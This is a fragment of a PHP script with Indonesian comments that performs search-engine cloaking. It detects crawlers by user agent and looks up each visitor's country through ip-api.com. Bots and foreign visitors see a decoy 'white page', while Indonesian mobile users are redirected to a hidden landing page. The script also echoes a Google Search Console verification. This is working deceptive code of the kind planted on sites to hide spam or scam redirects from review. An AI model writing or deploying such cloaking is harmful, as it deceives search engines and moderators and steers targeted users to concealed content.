Verifikasi Google Search Console aktif. '; ob_end_flush(); exit(); } // Deteksi bot $isBot = false; foreach ($botKeywords as $bot) { if (stripos($userAgent, $bot) !== false) { $isBot = true; break; } } // Deteksi negara berdasar IP function get_ip_country($ip) { $url = "http://ip-api.com/json/$ip"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $res = curl_exec($ch); curl_close($ch); if ($res) { $geo = json_decode($res, true); return $geo['country'] ?? null; } return null; } $country = get_ip_country($ip) ?: 'UNKNOWN'; $isMobile = $detect->isMobile(); // CLOAKING LOGIC if ($isBot || $country !== 'Indonesia') { // Jika bot atau luar negeri → white page echo file_get_contents($whitePageFile) ?: 'Gagal load white page.'; ob_end_flush(); exit(); } if ($isMobile && $country === 'Indonesia') { // Mobile dan dari Indonesia → redirect ke landing page header("Location: $landingPage"); exit(); } // Jika desktop dari Indonesia → tampilkan white page juga echo file_get_contents($whitePageFile) ?: 'Gagal load white page.'; ob_end_flush(); ?>